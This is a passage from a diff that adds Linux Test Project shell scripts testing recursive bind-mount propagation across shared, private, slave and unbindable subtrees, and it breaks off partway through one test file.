+	fs_bind_makedir runbindable parent1/child1
+	mkdir parent1/child1/x
+
+	EXPECT_PASS mount --rbind parent1 share1
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK1" parent1/child1/x
+
+	mkdir parent2/child2
+	EXPECT_FAIL mount --rbind parent1/child1 parent2/child2
+
+
+	EXPECT_PASS umount parent1/child1/x
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind17.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind17.sh
new file mode 100755
index 0000000..e4ca564
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind17.sh
@@ -0,0 +1,50 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: shared subtree with shared child to shared subtree"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir rshared parent2
+	fs_bind_makedir rshared share1
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK1" share1
+	EXPECT_PASS mount --rbind share1 parent1
+
+	fs_bind_makedir rshared parent1/child1
+	EXPECT_PASS mount --rbind parent1 parent2
+
+	fs_bind_check parent1 share1 parent2
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK2" parent1/child1
+	fs_bind_check parent1/child1 parent2/child1
+	fs_bind_check parent1/child1 share1/child1
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK3" parent2/a
+
+	fs_bind_check parent1/a parent2/a share1/a
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK4" share1/b
+
+	fs_bind_check parent1/b parent2/b share1/b
+
+
+	EXPECT_PASS umount share1/b
+	EXPECT_PASS umount parent2/a
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+	EXPECT_PASS umount share1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind18.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind18.sh
new file mode 100755
index 0000000..0314c08
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind18.sh
@@ -0,0 +1,50 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: shared subtree with shared child to private subtree"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir private parent2
+	fs_bind_makedir rshared share1
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK1" share1
+	EXPECT_PASS mount --rbind share1 parent1
+
+	fs_bind_makedir rshared parent1/child1
+	EXPECT_PASS mount --rbind parent1 parent2
+
+	fs_bind_check parent1 share1 parent2
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK2" parent1/child1
+	fs_bind_check parent1/child1 parent2/child1
+	fs_bind_check parent1/child1 share1/child1
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK3" parent2/a
+
+	fs_bind_check parent1/a parent2/a share1/a
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK4" share1/b
+
+	fs_bind_check parent1/b parent2/b share1/b
+
+
+	EXPECT_PASS umount share1/b
+	EXPECT_PASS umount parent2/a
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+	EXPECT_PASS umount share1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind19.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind19.sh
new file mode 100755
index 0000000..9dd28c8
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind19.sh
@@ -0,0 +1,53 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: shared subtree with shared child to slave subtree"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir rshared parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir rshared share2
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK1" share1
+	EXPECT_PASS mount --rbind share1 parent1
+	EXPECT_PASS mount --rbind share2 parent2
+	EXPECT_PASS mount --make-rslave parent2
+
+	fs_bind_makedir rshared parent1/child1
+	EXPECT_PASS mount --rbind parent1 parent2
+	fs_bind_check parent1 share1 parent2
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK2" parent1/child1
+	fs_bind_check parent1/child1 parent2/child1
+	fs_bind_check parent1/child1 share1/child1
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK3" parent2/a
+
+	fs_bind_check parent1/a parent2/a share1/a
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK4" share1/b
+
+	fs_bind_check parent1/b parent2/b share1/b
+
+	EXPECT_PASS umount share1/b
+	EXPECT_PASS umount parent2/a
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share2
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind20.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind20.sh
new file mode 100755
index 0000000..0603f9c
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind20.sh
@@ -0,0 +1,50 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: shared subtree with shared child to uncloneable subtree"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir runbindable parent2
+	fs_bind_makedir rshared share1
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK1" share1
+	EXPECT_PASS mount --rbind share1 parent1
+
+	fs_bind_makedir rshared parent1/child1
+	EXPECT_PASS mount --rbind parent1 parent2
+
+	fs_bind_check parent1 share1 parent2
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK2" parent1/child1
+	fs_bind_check parent1/child1 parent2/child1
+	fs_bind_check parent1/child1 share1/child1
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK3" parent2/a
+
+	fs_bind_check parent1/a parent2/a share1/a
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK4" share1/b
+
+	fs_bind_check parent1/b parent2/b share1/b
+
+
+	EXPECT_PASS umount share1/b
+	EXPECT_PASS umount parent2/a
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+	EXPECT_PASS umount share1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind21.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind21.sh
new file mode 100755
index 0000000..34eb8b2
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind21.sh
@@ -0,0 +1,56 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: shared subtree with  private child to shared subtree"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir rshared parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir rshared share2
+
+	EXPECT_PASS mount --rbind share1 parent1
+	EXPECT_PASS mount --rbind share2 parent2
+
+	fs_bind_makedir private parent1/child1
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK1" parent1/child1
+	EXPECT_PASS mount --rbind parent1 parent2
+
+	fs_bind_check parent1 share1 parent2 share2
+	fs_bind_check parent1/child1/ parent2/child1
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK2" parent1/child1/a
+
+	fs_bind_check -n parent1/child1/a parent2/child1/a
+	fs_bind_check -n parent1/child1/a share1/child1/a
+	fs_bind_check parent2/child1/a share2/child1/a
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK3" parent2/child1/b
+
+	fs_bind_check -n parent1/child1/b parent2/child1/b
+	fs_bind_check parent2/child1/b share2/child1/b
+
+
+	EXPECT_PASS umount parent1/child1/a
+	EXPECT_PASS umount parent2/child1/b
+	EXPECT_PASS umount parent2/child1
+	EXPECT_PASS umount parent2/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount parent1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+	EXPECT_PASS umount share1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind22.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind22.sh
new file mode 100755
index 0000000..1755ba4
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind22.sh
@@ -0,0 +1,49 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: shared subtree with  private child to slave subtree"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir rshared parent2
+	fs_bind_makedir rshared share2
+
+	EXPECT_PASS mount --rbind share2 parent2
+	EXPECT_PASS mount --make-rslave parent2
+	fs_bind_makedir private parent1/child1
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK1" parent1/child1
+	EXPECT_PASS mount --rbind parent1 parent2
+
+	fs_bind_check parent1 parent2
+	fs_bind_check parent1/child1/ parent2/child1
+	fs_bind_check -n parent2 share2
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK2" parent1/child1/a
+
+	fs_bind_check -n parent1/child1/a parent2/child1/a
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK3" parent2/child1/b
+
+	fs_bind_check -n parent1/child1/b parent2/child1/b
+
+
+	EXPECT_PASS umount parent1/child1/a
+	EXPECT_PASS umount parent2/child1/b
+	EXPECT_PASS umount parent2/child1
+	EXPECT_PASS umount parent2/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount parent2
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind23.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind23.sh
new file mode 100755
index 0000000..e4b41ee
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind23.sh
@@ -0,0 +1,49 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: shared subtree with  private child to private subtree"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir private parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir private parent1/child1
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK1" parent1/child1
+	EXPECT_PASS mount --rbind parent1 parent2
+	EXPECT_PASS mount --rbind parent1 share1
+
+	fs_bind_check parent1 parent2
+	fs_bind_check parent1/child1/ parent2/child1
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK2" parent1/child1/a
+
+	fs_bind_check -n parent1/child1/a share1/child1/a
+	fs_bind_check -n parent1/child1/a parent2/child1/a
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK3" parent2/child1/b
+
+	fs_bind_check -n parent1/child1/b parent2/child1/b
+
+
+	EXPECT_PASS umount parent1/child1/a
+	EXPECT_PASS umount parent2/child1/b
+	EXPECT_PASS umount parent2/child1
+	EXPECT_PASS umount parent2/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind24.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind24.sh
new file mode 100755
index 0000000..29c3267
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind24.sh
@@ -0,0 +1,49 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: shared subtree with unclonable child to private subtree"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir runbindable parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir private parent1/child1
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK1" parent1/child1
+	EXPECT_PASS mount --rbind parent1 parent2
+	EXPECT_PASS mount --rbind parent1 share1
+
+	fs_bind_check parent1 parent2
+	fs_bind_check parent1/child1/ parent2/child1
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK2" parent1/child1/a
+
+	fs_bind_check -n parent1/child1/a share1/child1/a
+	fs_bind_check -n parent1/child1/a parent2/child1/a
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK3" parent2/child1/b
+
+	fs_bind_check -n parent1/child1/b parent2/child1/b
+
+
+	EXPECT_PASS umount parent1/child1/a
+	EXPECT_PASS umount parent2/child1/b
+	EXPECT_PASS umount parent2/child1
+	EXPECT_PASS umount parent2/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind25.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind25.sh
new file mode 100755
index 0000000..25d7210
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind25.sh
@@ -0,0 +1,56 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: shared subtree with slave child to shared subtree"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir rshared parent2
+	fs_bind_makedir rshared share1
+	mkdir parent1/child1
+
+	EXPECT_PASS mount --bind share1 parent1/child1
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK1" parent1/child1
+	EXPECT_PASS mount --make-rslave parent1/child1
+
+	EXPECT_PASS mount --rbind parent1 parent2
+
+	fs_bind_check parent1 parent2
+	fs_bind_check parent1/child1/ parent2/child1
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK2" parent1/child1/a
+
+	fs_bind_check -n parent1/child1/a parent2/child1/a
+	fs_bind_check -n parent1/child1/a share1/a
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK3" parent2/child1/b
+
+	fs_bind_check -n parent1/child1/b parent2/child1/b
+	fs_bind_check -n parent2/child1/b share1/b
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK4" share1/c
+	fs_bind_check parent2/child1/c share1/c
+	fs_bind_check parent1/child1/c share1/c
+
+
+	EXPECT_PASS umount share1/c
+	EXPECT_PASS umount parent1/child1/a
+	EXPECT_PASS umount parent2/child1/b
+	EXPECT_PASS umount parent2/child1
+	EXPECT_PASS umount parent2/child1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+	EXPECT_PASS umount share1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind26.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind26.sh
new file mode 100755
index 0000000..2ec5671
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind26.sh
@@ -0,0 +1,51 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: shared subtree with slave child to private subtree"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir private parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir rshared parent1/child1
+
+	EXPECT_PASS mount --bind share1 parent1/child1
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK1" parent1/child1
+	EXPECT_PASS mount --make-rslave parent1/child1
+
+	EXPECT_PASS mount --rbind parent1 parent2
+
+	fs_bind_check parent1 parent2
+	fs_bind_check parent1/child1/ parent2/child1
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK2" parent1/child1/a
+
+	fs_bind_check -n parent1/child1/a parent2/child1/a
+	fs_bind_check -n parent1/child1/a share1/a
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK3" parent2/child1/b
+
+	fs_bind_check -n parent1/child1/b parent2/child1/b
+
+
+	EXPECT_PASS umount parent1/child1/a
+	EXPECT_PASS umount parent2/child1/b
+	EXPECT_PASS umount parent2/child1
+	EXPECT_PASS umount parent2/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+	EXPECT_PASS umount share1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind27.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind27.sh
new file mode 100755
index 0000000..d95f115
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind27.sh
@@ -0,0 +1,56 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: shared subtree with slave child to slave subtree"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir private parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir rshared share2
+	fs_bind_makedir rshared parent1/child1
+
+	EXPECT_PASS mount --bind share1 parent1/child1
+	EXPECT_PASS mount --bind share2 parent2
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK1" parent1/child1
+	EXPECT_PASS mount --make-rslave parent1/child1
+	EXPECT_PASS mount --make-rslave parent2
+
+	EXPECT_PASS mount --rbind parent1 parent2
+
+	fs_bind_check parent1 parent2
+	fs_bind_check parent1/child1/ parent2/child1
+	fs_bind_check -n parent2 share2
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK2" parent1/child1/a
+
+	fs_bind_check -n parent1/child1/a parent2/child1/a
+	fs_bind_check -n parent1/child1/a share1/a
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK3" parent2/child1/b
+
+	fs_bind_check -n parent1/child1/b parent2/child1/b
+
+
+	EXPECT_PASS umount parent1/child1/a
+	EXPECT_PASS umount parent2/child1/b
+	EXPECT_PASS umount parent2/child1
+	EXPECT_PASS umount parent2/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount parent1
+	EXPECT_PASS umount share1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind28.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind28.sh
new file mode 100755
index 0000000..2940447
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind28.sh
@@ -0,0 +1,51 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: shared subtree with slave child to unclone subtree"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir runbindable parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir rshared parent1/child1
+
+	EXPECT_PASS mount --bind share1 parent1/child1
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK1" parent1/child1
+	EXPECT_PASS mount --make-rslave parent1/child1
+
+	EXPECT_PASS mount --rbind parent1 parent2
+
+	fs_bind_check parent1 parent2
+	fs_bind_check parent1/child1/ parent2/child1
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK2" parent1/child1/a
+
+	fs_bind_check -n parent1/child1/a parent2/child1/a
+	fs_bind_check -n parent1/child1/a share1/a
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK3" parent2/child1/b
+
+	fs_bind_check -n parent1/child1/b parent2/child1/b
+
+
+	EXPECT_PASS umount parent1/child1/a
+	EXPECT_PASS umount parent2/child1/b
+	EXPECT_PASS umount parent2/child1
+	EXPECT_PASS umount parent2/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+	EXPECT_PASS umount share1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind29.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind29.sh
new file mode 100755
index 0000000..d84f9ca
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind29.sh
@@ -0,0 +1,43 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: shared subtree with uncloneable child to shared subtree"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir rshared parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir rshared share2
+
+	EXPECT_PASS mount --rbind share1 parent1
+	EXPECT_PASS mount --rbind share2 parent2
+
+	fs_bind_makedir runbindable parent1/child1
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK1" parent1/child1
+	EXPECT_PASS mount --rbind parent1 parent2
+
+	fs_bind_check -n parent1/child1 share1/child1
+	fs_bind_check -n parent1/child1 parent2/child1
+	fs_bind_check parent2/child1 share2/child1
+
+
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount parent1
+	EXPECT_PASS umount parent2
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind30.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind30.sh
new file mode 100755
index 0000000..9ee70ed
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind30.sh
@@ -0,0 +1,38 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: shared subtree with uncloneable child to private subtree"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir private parent2
+	fs_bind_makedir rshared share1
+
+	EXPECT_PASS mount --rbind share1 parent1
+
+	fs_bind_makedir runbindable parent1/child1
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK1" parent1/child1
+	EXPECT_PASS mount --rbind parent1 parent2
+
+	fs_bind_check -n parent1/child1 share1/child1
+	fs_bind_check -n parent1/child1 parent2/child1
+
+
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount parent1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind31.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind31.sh
new file mode 100755
index 0000000..b3eff6e
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind31.sh
@@ -0,0 +1,45 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: shared subtree with uncloneable child to slave subtree"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir private parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir rshared share2
+
+	EXPECT_PASS mount --rbind share1 parent1
+	EXPECT_PASS mount --rbind share2 parent2
+
+	EXPECT_PASS mount --make-rslave parent2
+
+	fs_bind_makedir runbindable parent1/child1
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK1" parent1/child1
+	EXPECT_PASS mount --rbind parent1 parent2
+
+	fs_bind_check -n parent1/child1 share1/child1
+	fs_bind_check -n parent1/child1 parent2/child1
+	fs_bind_check -n parent2 share2
+
+
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount parent1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind32.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind32.sh
new file mode 100755
index 0000000..1f49d9d
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind32.sh
@@ -0,0 +1,38 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: shared subtree with uncloneable child to uncloneable subtree"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir runbindable parent2
+	fs_bind_makedir rshared share1
+
